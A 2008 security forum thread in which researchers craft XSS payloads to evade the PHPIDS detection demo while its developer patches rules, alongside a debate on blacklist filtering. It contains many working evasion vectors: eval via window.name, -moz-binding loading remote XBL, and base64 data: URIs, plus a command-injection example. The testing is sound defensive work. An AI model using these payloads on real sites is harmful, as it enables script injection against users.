I am speechless. Wow. This is one of the nastiest discoveries of the last three months.

Again, wow. Fixed with hats off.

<edit>on the other hand - okay, it' evaled. why didn't i see this coming ;) </edit>



Edited 1 time(s). Last edit at 01/22/2008 04:27PM by .mario.

Yeah, I'm kinda surprised no one came across that trick earlier.

Making a few alterations to the previous injection still getst through: http://p42.us/phpids/53.html

x={}.eval, x(x('x\nname'),1)

and since you're filtering on the prefix to the .eval, these close variations also get through:

x=(1).eval, x(x('x\nname'),1)
x='x'.eval, x(x('x\nname'),1)
x=[1].eval, x(x('x\nname'),1)
x=(/x/).eval, x(x('x\nname'),1)
x=('x').eval, x(x('x\nname'),1)
$x={}.eval,$x($x('$x\nname'),1)
x=(1,1).eval, x(x('x\nname'),1)
x=(false).eval, x(x('x\nname'),1)
(x={}.eval,x)(x('x\nname'),1)

Edited 1 time(s). Last edit at 01/22/2008 10:54PM by thornmaker.

Here's one from Gareth; he cleverly uses a unicode char to hide the use of 'name': http://p42.us/phpids/54.html

e=1..eval
e(e("\u200fname"),e)

I like the use of 1..eval too. I think the first period is parsed as a decimal seperator, and the second period is then used for method invocation. Note that if you click on the link, the injection is 30 chars, just barely avoiding the centrifuge in part because only single char (%0a) is used for a new line char. However, if you cut and paste the text into the demo page then it will be caught by the filters since it uses 2 chars for the new line (%0d%0a) which puts it over the centrifuge limit by 1 char.



Edited 1 time(s). Last edit at 01/23/2008 09:31PM by thornmaker.

Yikes - I just found a severe bug in the JS Unicode converter - I was using \d{4} instead of [0-9a-f]{4}. Now the vector is detected correctly.

I like the 1..eval trick too - there are not many variations left but if you combine it with the exponential numbers to obfuscate you have zounds of possibilities ;)

Thx and Greetings!
.mario

@Mario

As promised ;)

x=[1,$='e'].eval
x('nam'+$)

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

@Gareth:

It doesn't work for me - any ideas?

http://groups.google.de/group/php-ids/msg/3d5339e4d782d2a0

Ah sorry Mario I forgot to double eval, I'll test it next time

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Gareth's with a double eval: http://p42.us/phpids/55.html

x=[$='e'].eval
x(x('nam'+$),1)

This is another one that requires just 1 char for the newline to stay under the 30 char limit.

Nice variation - t be honest I was lazy and just lowered the character limit for the ratio check :) I also modified several rules slightly - I guess 0.4.6 is close :)

I know this cycle of "lower centrifuge limit/shorten vector" must end eventually... but not today: http://p42.us/phpids/56.html

x=.1.eval
z$=1+name
x(z$)

And the same injection above the 25 char limit, but with a 'passing' ratio: http://p42.us/phpids/56a.html

xxx=.1.eval
zzz$=1 + name
xxx(zzz$)

Nice ones! I tweaked the new line conversion to deal with those. Thx!

Greetings,
.mario

I don't mean to rain on the parade here - but I have to ask a very serious question. Do you all think this will actually come to a stop at some point and it will be perfect? Do you think after 17 pages of bugs there is a realistic end in sight? Every time I read this thread I just keep thinking, why are we continuing down this path that keeps being proven to fail in one way or another?

I'm all for fun experiments, but I can't see an end in sight (this is actually a perfect demonstration of the Turing Halting problem). I think there is only one flaw in the Turing Halting problem that might be to your advantage, which is that there is a finite number of combinations, therefore it is technically possible to compute the entire set of possibilities. But that set of combinations is far greater than any of us could ever reasonably test in our lifetimes.

Tell me one thing, would you all have though 14 pages ago that you'd have an additional 14 pages of bugs? To me this feels like fundamentally the wrong approach if it's having this many problems. Or am I just way off base here?

- RSnake
Gotta love it. http://ha.ckers.org

RSnake: I do not think the point is to reach an end where no bad input is no longer allowed... but rather to keep 'raising the bar' so that in becomes infeasible for most individuals to find a working filter bypass. I think if you tried to find a bypass right now, you'll find it much more difficult to do so than 17 pages ago. Is it still possible? Sure [p42.us], but the more difficult it is to do so, the more fun it becomes too :)

So is this the wrong approach? Hard to say. It's certainly not a "great" solution as evidenced by the last 17 pages, but can you suggest a better alternative? Are you aware of any WAF's that use a different approach?

I've actually become quite curious recently as to how PHPIDS compares to other WAFs. I looked at the filters for ModSecurity the other day, and they appear to use blacklist filters for XSS type attacks too. However, the filters seemed rather weak... though it's hard to say for sure without actually trying to bypass. Also, I think their filters are a lot simpler because they do not try to catch attacks that are embedded into javascript directly, whereas PHPIDS does (and this accounts for 90% of the filters I would guess). I wish the other WAF folks would setup a demo page like phpids.

One great thing about PHPIDS- how often is it that someone finds a vector that gets through that does NOT fit between script tags? All these flaws that we're finding are for a very, very specific XSS hole that could be fixed in other ways. It's not perfect, but I'd say it's pretty damn thorough. I believe it is worth the trouble. Anyone who has tried to bypass the PHPIDS has probably learned something.

-Dan

Hi!

@rsnake:

Quote

Do you all think this will actually come to a stop at some point and it will be perfect?

Nope - will any at least a little complex software ever be? We never claimed to reach perfection - as no reasonably thinking software developer would ever do about his project.

Quote

Do you think after 17 pages of bugs there is a realistic end in sight?

As long as the web and its technologies change|advance not. And 17 pages of "bugs" are plain nothing. If let's say phpMyAdmin was discussed in this place we wouldn't be at 17 pages right now ;)

Quote

I'm all for fun experiments

I don't consider the PHPIDS a fun experiment.

Quote

To me this feels like fundamentally the wrong approach

Thanks for your honest opinion but I disagree. We have come to a point where the rules really catch almost everything - tell me one real attack vector - not a PoC - a real attack vector that would slip through a) the rules and b) the generic attack detection. We have a lot of users monitoring very large sites with the PHPIDS and almost all feedback we get is positive. We had examples of real hacks having been prevented, we raised awareness, we cooperate with other projects, there's gonna be a bunch of talks - where exactly is our approach "fundamentally wrong"?

@thornmaker:

Quote

I've actually become quite curious recently as to how PHPIDS compares to other WAFs

Me too!

@DoctorDan:

Quote

I believe it is worth the trouble. Anyone who has tried to bypass the PHPIDS has probably learned something.

100% agree

Greetings,
.mario

No bypass this time but I severe bug I think:-

<x///style=-moz-\&#x362inding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)>

Results in a impact of 3

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Not anymore, thx ;)

@mario

Cool! Ya fixed that one but....

<x///style =-moz-\&#x362inding:url(//businessinfo.co.uk/labs/xbl/xbl.xml#xss)>

== impact 3

CSS (at least in FF2) supports hex and entity based encoding, it may be worth writing a rule to handle this. -moz-binding can be encoded to -\6doz-binding and then futher to:-

-
&#x5c
6d
oz-binding

So &#x5c == backslash and then it's reconstructed to:-
-&#x5c6doz-binding

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]



Edited 1 time(s). Last edit at 02/04/2008 09:50AM by Gareth Heyes.

Hmmm - I couldn't get this one executed. Windows only issue maybe?

Tested on FF2 (Noscript disabled) :-

http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php?input=PCEtLSBIaXQgdGhlIEhUTUwgdGVzdCBidXR0b24gKE5PVEUgWU9VIE1VU1QgRElTQUJMRSBOT1NDUklQVCAtLT4KCjx4IHN0eWxlPSYjeDVjMmQmI3g1YzZkJiN4NWM2ZiYjeDVjN2EmI3g1YzJkJiN4NWM2MiYjeDVjNjkmI3g1YzZlJiN4NWM2NCYjeDVjNjkmI3g1YzZlJiN4NWM2Nzp1cmwoXDJmXDJmXDYyXDc1XDczXDY5XDZlXDY1XDczXDczXDY5XDZlXDY2XDZmXDJlXDYzXDZmXDJlXDc1XDZiXDJmXDZjXDYxXDYyXDczXDJmXDc4XDYyXDZjXDJmXDc4XDYyXDZjXDJlXDc4XDZkXDZjXDIzXDc4XDczXDczKT4%3D

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

i've got an alert working, but haven't been able to turn it into an eval yet: http://p42.us/phpids/57.5.html

@thornmaker: nice trick with the modifiers!

@Gareth: fixed but not the bestest way - i will look into that CSS entity issue later

Thx!

@.mario - I'm certainly not meaning to say this hasn't been time well spent. What I mean is that the fundamental approach of blacklisting is flawed - as evidenced by 17 pages of bugs. To me that's a fun experiment, and not an actual "solve". Solving the problem is by disabling all HTML for instance. Solving it is content restrictions. Solving is turning off all active content in the browser. Not elegent, not right for all situations, but definitely do solve the problem. I think you see where I'm going with that...

Everything else I've seen requires a huge level of integration work, only works in one language (maybe two at best) and only works some of the time. As to your challenge to point to one example of an actual hole in PHPIDS - the short answer is I stopped reading this thread 13 pages ago for the same reason we are on page 17 right now. It's battling the Turing Halting problem with no reasonable end in sight. Have you/others learned something by the exercise? Absolutely. Will people adopt it regardless if it has holes or not? Almost certainly. Does that mean it's worthless? Hard to say, given that people will have to update it as often as you do to stay on top of things. To me, I can't see myself integrating it for the sheer headache alone.

I'm by no way disparaging your work. I'm only saying I think this is the wrong approach. Blacklists have been proven to fail for 17 pages. Which page do we need to get to before everyone agrees? So far everyone is saying it can't be done (I agree) - and to me that is the definition of the wrong approach, or at minimum the least attractive option.

I promise, I'm not trying to stir the pot here, I'm honestly concerned that I'm not getting why you guys are so gung-ho about a project that is unlikely to be bulletproof at serving it's primary function. What am I missing? Is stopping script kiddies enough? If so, I get it - but I thought there was a greater goal.

- RSnake
Gotta love it. http://ha.ckers.org

@rsnake

The PHPIDS gets stronger each time we find a "hole", most of the exploits have not been XSS holes as script tags exist on the page anyway. As I see it the goal of the project is to detect attacks not prevent them.

When the project initially started I had the same opinion as you now but the more minds work on finding ways round regular expressions the stronger it will become.

I'd suggest anyone reading this thread tries to inject javascript on the demo and help this cool project because it's certainly the most advanced XSS detection system I've seen.

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

@rsnake:

Quote

What I mean is that the fundamental approach of blacklisting is flawed

I agree and that's why we mixed the common blacklisting with approaches to detect attacks generically months ago - and it works better with any commit. If we had just stagnated with plain blacklisting we would be at 25 pages+.

Quote

To me, I can't see myself integrating it for the sheer headache alone.

Most users have to update their stuff twice a month - not that head achy I think. All recent injections only work when being placed right beside script tags - so all recent attacks don't match the pattern of I'd guess 90% of all existing webapp vulnerabilities - I can live with that.

Quote

I'm only saying I think this is the wrong approach. Blacklists have been proven to fail for 17 pages.

Still agree :)

The thing is: The PHPIDS is neither meant to prevent any attacks from happening nor stop script kiddies or whomever - it's meant to tell the site owner that there has been an attempt to attack his site in which way ever - and it does exactly that. I don't know if you had a deeper look inside the sources but I have the feeling that we are kind of talking at cross-purposes here. I have absolutely no problem with 17 more pages because I know the system will get better after any successful injection (I don't even consider any injection a bug - but as a developer and clearly not a hacker I might have a different image in my head when thinking of bugs).

And no - it's still no fun experiment in my eyes because it actually solves problems - maybe not the ones you are talking about but plenty of others. For me, for my company, for our users, for the extraordinary league of vector-crafting gentlemen here and so on. Please remember - the PHPIDS was never meant to be a shield for a webapp but a radar - the developer still has to decide on his own how to react on positives.

on a side note:

those latest eval() or passthru() ones are by far the most dangerous ones of all vectors combined.
But, usually the evalling/passthru or system commands already takes place in the code you inject, so only the code would suffice.

as in phpBB:

like:

passthru() in phpBB code
then only supply: 'ls -al' as parameter or any other dangerous command.

/phpbb/somepath/viewtopic.php?t=2&highlight='ls -al'

or:

/phpbb/somepath/viewtopic.php?t=2&highlight='printf(123456)'

Impact of 5:-

<a href=dat&#x61&#x3atext&#x2fhtml&#x3b&#59base64a&#x2cPHNjcmlwdD5hbGVydCgvWFNTLyk8L3NjcmlwdD4>Test</a>

I thought it was pretty cool, notice that base64a is still accepted as a base64 encoded string in FF.

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

@Gareth: Mmh - I like the obfuscations crafted in this string :) But - since data URLs can only redirect a user and don't have any access on the properties of the DOM they are clicked from I think an impact of 5 is acceptable. Basically data URLs have no more power than a regular link so they should be judged as such regarding impact - correct me plz if I am wrong.

Anyway base64 is and will be a great problem yet to solve.

@mario

The DOM can be accessed quite easily:-
http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php?input=PGEgaHJlZj0iZGF0YTp0ZXh0L2h0bWwsPEB1cmxlbmM%2BPGZyYW1lc2V0PjxmcmFtZSBzcmM9Imh0dHA6Ly93d3cuYnVzaW5lc3NpbmZvLmNvLnVrIiBvbmxvYWQ9ImFsZXJ0KHRoaXMuY29udGVudFdpbmRvdy5kb2N1bWVudC5ib2R5LmlubmVySFRNTCkiPjxAL3VybGVuYz4iPlRlc3Q8L2E%2B

Another trick which I thought was quite cool:-
<iframe src=data:text/html;base64,PHNjcmlwdD5hbGVydCgvWFNTLyk8L3NjcmlwdD4>

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]



Edited 2 time(s). Last edit at 02/06/2008 05:18PM by Gareth Heyes.